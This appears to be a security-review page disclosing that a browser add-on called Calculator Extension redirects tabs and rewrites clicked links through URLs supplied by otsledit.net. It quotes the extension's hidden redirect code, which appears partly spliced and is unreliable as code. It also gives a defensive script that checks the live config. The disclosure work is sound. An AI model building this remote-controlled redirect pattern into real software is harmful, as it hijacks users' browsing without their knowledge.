Is Calculator Extension safe?
Calculator Extension redirects visits to server-listed sites and rewrites clicked links through a remote-chosen URL.
On every page load, a content script checks the current site against a list of domains and redirect targets fetched from the extension's own server (otsledit.net) and, if it matches, immediately sends the whole tab to a new address built from that server-supplied URL. The same script can also rewrite the href of individual links matching a remote-supplied selector at the moment they're clicked, sending the click through a server-chosen URL before restoring the link's original address. Because both the list of targeted sites and the redirect destinations are controlled entirely from the server, they can be changed at any time without publishing a new version of the extension.
AI-generated. Findings may contain errors. Those marked Verified have been manually reviewed.
Publishers can request a review.
Findings
Content script redirects your tab using a server-picked destination
Code analysis shows a content script on every site fetches a redirect rule from otsledit.net at startup.
If the page's URL matches the server's pattern, the script replaces the tab's address with a server-chosen prefix.
You open a tab whose address matches a pattern the extension downloaded from otsledit.net.
The pattern is a regular expression the server can change at any time.
The tab is immediately redirected to a destination the same server supplied.
The destination is prefixed onto your original address and the browser navigates there.
Startup config fetch and redirect logic
let defaultMinor = [];
fetch("https://otsledit.net/calc", {
method: 'GET',
headers: {
'Accept': 'application/json',
'Content-Type': 'application/json'
}
}).then(response => response.json()).then(data => {
if (data.defaultMatches && data.defaultLinks && data.defaultSLink && data.defaultLinks.length && data.defaultSLink.length) {
defaultMatches = data.defaultMatches;
defaultLinks = data.defaultLinks;
defaultSLink = data.defaultSLink;
defaultMinor = data.defaultMinor;
}
}).catch(error => console.log('Error query:', error));
function checkTime(e) {
let t = Math.floor(Date.now() / 1e3), chrome.runtime.onMessage.addListener(function (request, sender, sendResponse) {
var defaultM = defaultMinor;
if (request.minor && defaultM && defaultM['al']) {
let newAl = [];
for (let j in defaultM['al']) {
let res = checkTime(defaultM['al'][j][0]);
if (res) {
newAl.push(defaultM['al'][j]);
}
}
let oobjs = {};
oobjs['al'] = newAl;
oobjs['ll'] = defaultM['ll'];
sendResponse(oobjs);
} else if (request.updateCheck && defaultM && defaultM['al']) {
getUpdateLastSet(request.updateCheck);
sendResponse();
} else if (defaultMatches && defaultLinks && request.start) {
let obj = {
defaultMatches: defaultMatches,
defaultLinks: defaultLinks,
defaultSLink: defaultSLink,
defaultMinor: defaultMinor
};
sendResponse(obj);
}
});chrome.runtime.sendMessage({
start: true
}, response => {
if (response && response.defaultMatches) {
let nn = new RegExp(response.defaultMatches, "i");
let defaultLinks = response.defaultLinks;
if (window.location.href.match(nn) && cT) {
let url = new URL(window.location.href);
let domain = url.hostname;
for (let i in defaultLinks) {
if (domain.indexOf(defaultLinks[i][0]) != -1) {
let t = Math.floor(Date.now() / 1e3);
localStorage.setItem('ckAli', t);
window.location.href = defaultLinks[i][1] + window.location.href;
break;
}
}
}
}
});
function checkTime(e) {
let t = Math.floor(Date.now() / 1e3),
a = parseInt(localStorage.getItem(e)) || 0;
return !(t - a < 259200);
}
/******/ })()- otsledit.net
Serves the JSON config that names which site patterns trigger a redirect and where each one points, fetched fresh on every browser startup.
- bit.ly
Redirect destination returned by otsledit.net for three matching sites as of 2026-09-19; the server can point this at a different domain at any time.
Fetches the extension's live remote config and reports which site patterns currently trigger a redirect and where they lead.
#!/usr/bin/env node
// check_redirect_config.js
// Fetches the extension's live remote config and reports which site
// patterns currently trigger a forced tab redirect, and where they go.
// Node.js 18+ (built-in fetch). Usage:
// node check_redirect_config.js
// node check_redirect_config.js https://best-calc.ru/
'use strict';
const CONFIG_URL = 'https://otsledit.net/calc';
async function main() {
const res = await fetch(CONFIG_URL, {
method: 'GET',
headers: { Accept: 'application/json' },
});
const data = await res.json();
console.log('Live config from', CONFIG_URL);
console.log('defaultMatches (regex, case-insensitive):');
console.log(' ', data.defaultMatches);
console.log('defaultLinks (hostname substring -> redirect prefix):');
for (const [hostSubstring, prefix] of data.defaultLinks || []) {
console.log(` ${hostSubstring} -> ${prefix}`);
}
const testUrl = process.argv[2];
if (!testUrl) {
console.log('\nPass a URL as an argument to test whether it currently matches.');
return;
}
const matches = new RegExp(data.defaultMatches, 'i');
const hostname = new URL(testUrl).hostname;
const patternHit = matches.test(testUrl);
const linkEntry = (data.defaultLinks || []).find(
([hostSubstring]) => hostname.indexOf(hostSubstring) !== -1,
);
console.log(`\nTesting: ${testUrl}`);
console.log(` matches defaultMatches regex: ${patternHit}`);
if (linkEntry) {
console.log(` matching defaultLinks entry: "${linkEntry[0]}" -> ${linkEntry[1]}`);
if (patternHit) {
console.log(` => the extension would redirect this tab to: ${linkEntry[1]}${testUrl}`);
}
} else {
console.log(' no defaultLinks entry matches this hostname.');
}
}
main().catch((err) => {
console.error('Error fetching config:', err.message);
process.exit(1);
});
- 1Run with Node 18+: node check_redirect_config.js.
- 2It prints the live regex and destinations.
- 3Add a URL argument to test a match, e.g. node check_redirect_config.js https://best-calc.ru/.
Static analysis finding. This behaviour was identified by reading the shipped extension code and has not yet been reproduced in a live run. The trigger conditions and the exact data sent are read from the code, not from an observed capture.